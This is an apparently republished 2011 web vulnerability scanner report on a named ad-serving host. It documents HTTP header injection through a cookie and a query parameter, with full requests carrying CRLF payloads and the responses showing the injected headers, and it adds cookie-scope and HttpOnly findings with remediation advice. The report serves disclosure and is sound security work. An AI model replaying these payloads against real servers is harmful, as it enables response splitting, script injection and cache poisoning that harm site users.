Hoyt LLC Research reports that tacoda.at.atwola.com is an Advertising and Content Delivery Network Host. The Servers provide targeted adverting which are often the targets of fraudsters. Do not click on an ad and instead go directly to the Host. Advertising is a form of inducement by which Phishing is conducted to exploit financial and personal information.

tacoda.at.atwola.com, HTTP Header Injection, CWE-113

HTTP Header Injection and Response Splitting PoC | Vulnerability Crawler Report

Report generated by XSS.CX at Tue Jan 25 11:24:29 CST 2011.

Date: March 14, 2011 @ 0149 GMT | Hoyt LLC Research observes that Search Engine landings for terms like tacoda.at.atwola.com and remove atwola are increasing at a rate that has a Vulnerability Crawler interrogating the tacoda.at.* Servers. Given the significant volume of Search Terms, greater than 100+ in the prior 12 hours, we expect to find Malware and/or Trojan Download.

DORK CWE-79 XSS Report

1. HTTP header injection

1.1. http://tacoda.at.atwola.com/rtx/r.js [N cookie]

1.2. http://tacoda.at.atwola.com/rtx/r.js [si parameter]

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set

1. HTTP header injection next
There are 2 instances of this issue:

/rtx/r.js [N cookie]
/rtx/r.js [si parameter]

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

1.1. http://tacoda.at.atwola.com/rtx/r.js [N cookie] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tacoda.at.atwola.com
Path:	/rtx/r.js

Issue detail

The value of the N cookie is copied into the Set-Cookie response header. The payload 75a01%0d%0aefba738129d was submitted in the N cookie. This caused a response containing an injected HTTP header.

Request

GET /rtx/r.js?cmd=AGU&si=17295&pi=M&xs=3&pu=http%253A//www.autobytel.com/x22%2526ifu%253Dhttp%25253A//burp/show/31&v=5.5&cb=96663 HTTP/1.1
Host: tacoda.at.atwola.com
Proxy-Connection: keep-alive
Referer: http://www.autobytel.com/x22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATTACID=a3Z0aWQ9MTZpZjE3YTBrcTBiZ2Q=; ANRTT=60848^1^1296494968; TData=99999|^|56780|60739|#|60848; Anxd=x; N=2:faabfca985572b481d74a4897e4d9013,71e5fe306b3f97af479b09e96a0ca00a75a01%0d%0aefba738129d; ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg=

Response

HTTP/1.1 200 OK
Date: Mon, 24 Jan 2011 22:22:15 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Mon, 24 Jan 2011 22:37:15 GMT
Set-Cookie: ANRTT=60848^1^1296494968|62722^1^1296512535; path=/; expires=Mon, 31-Jan-11 22:22:15 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1295907735^1295909535|17295^1295907735^1295909535; path=/; expires=Mon, 24-Jan-11 22:52:15 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|56780|60739|#|60848|62722; expires=Thu, 19-Jan-12 22:22:15 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: Anxd=x; expires=Tue, 25-Jan-11 04:22:15 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:71e5fe306b3f97af479b09e96a0ca00a75a01
efba738129d,3c9757ed1e17089910d4221c9c7e35f4; expires=Thu, 19-Jan-12 22:22:15 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg6NjI3MjI=; expires=Thu, 19-Jan-12 22:22:15 GMT; path=/; domain=.at.atwola.com
Cteonnt-Length: 128
Content-Type: application/x-javascript
Content-Length: 128

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16if17a0kq0bgd';
var ANSL='99999|^|56780|60739|#|60848|62722';
ANRTXR();

1.2. http://tacoda.at.atwola.com/rtx/r.js [si parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://tacoda.at.atwola.com
Path:	/rtx/r.js

Issue detail

The value of the si request parameter is copied into the Set-Cookie response header. The payload eca17%0d%0a2d0ccfdc61b was submitted in the si parameter. This caused a response containing an injected HTTP header.

Request

GET /rtx/r.js?cmd=AGU&si=eca17%0d%0a2d0ccfdc61b&pi=M&xs=3&pu=http%253A//www.autobytel.com/x22%2526ifu%253Dhttp%25253A//burp/show/31&v=5.5&cb=96663 HTTP/1.1
Host: tacoda.at.atwola.com
Proxy-Connection: keep-alive
Referer: http://www.autobytel.com/x22
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATTACID=a3Z0aWQ9MTZpZjE3YTBrcTBiZ2Q=; ANRTT=60848^1^1296494968; TData=99999|^|56780|60739|#|60848; Anxd=x; N=2:faabfca985572b481d74a4897e4d9013,71e5fe306b3f97af479b09e96a0ca00a; ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg=

Response

HTTP/1.1 200 OK
Date: Mon, 24 Jan 2011 22:20:49 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Mon, 24 Jan 2011 22:35:49 GMT
Set-Cookie: ANRTT=60848^1^1296494968|62722^1^1296512449; path=/; expires=Mon, 31-Jan-11 22:20:49 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1295907649^1295909449|eca17
2d0ccfdc61b^1295907649^1295909449; path=/; expires=Mon, 24-Jan-11 22:50:49 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|56780|60739|#|60848|62722; expires=Thu, 19-Jan-12 22:20:49 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: Anxd=x; expires=Tue, 25-Jan-11 04:20:49 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:71e5fe306b3f97af479b09e96a0ca00a,3c9757ed1e17089910d4221c9c7e35f4; expires=Thu, 19-Jan-12 22:20:49 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg6NjI3MjI=; expires=Thu, 19-Jan-12 22:20:49 GMT; path=/; domain=.at.atwola.com
ntCoent-Length: 128
Content-Type: application/x-javascript
Content-Length: 128

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16if17a0kq0bgd';
var ANSL='99999|^|56780|60739|#|60848|62722';
ANRTXR();

2. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tacoda.at.atwola.com
Path:	/rtx/r.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg6NjI3MjI=; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=.at.atwola.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

Response

HTTP/1.1 200 OK
Date: Mon, 24 Jan 2011 21:06:44 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Mon, 24 Jan 2011 21:21:44 GMT
Set-Cookie: ANRTT=60848^1^1296494968|62722^1^1296508004; path=/; expires=Mon, 31-Jan-11 21:06:44 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1295903204^1295905004|17295^1295903204^1295905004; path=/; expires=Mon, 24-Jan-11 21:36:44 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|56780|60739|#|60848|62722; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: Anxd=x; expires=Tue, 25-Jan-11 03:06:44 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:71e5fe306b3f97af479b09e96a0ca00a,3c9757ed1e17089910d4221c9c7e35f4; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg6NjI3MjI=; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=.at.atwola.com
Cteonnt-Length: 128
Content-Type: application/x-javascript
Content-Length: 128

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16if17a0kq0bgd';
var ANSL='99999|^|56780|60739|#|60848|62722';
ANRTXR();

3. Cookie without HttpOnly flag set previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tacoda.at.atwola.com
Path:	/rtx/r.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ANRTT=60848^1^1296494968|62722^1^1296508004; path=/; expires=Mon, 31-Jan-11 21:06:44 GMT; domain=tacoda.at.atwola.com
Tsid=0^1295903204^1295905004|17295^1295903204^1295905004; path=/; expires=Mon, 24-Jan-11 21:36:44 GMT; domain=tacoda.at.atwola.com
TData=99999|^|56780|60739|#|60848|62722; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=tacoda.at.atwola.com
N=2:71e5fe306b3f97af479b09e96a0ca00a,3c9757ed1e17089910d4221c9c7e35f4; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=tacoda.at.atwola.com
ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg6NjI3MjI=; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=.at.atwola.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

Report generated by XSS.CX at Tue Jan 25 11:24:29 CST 2011.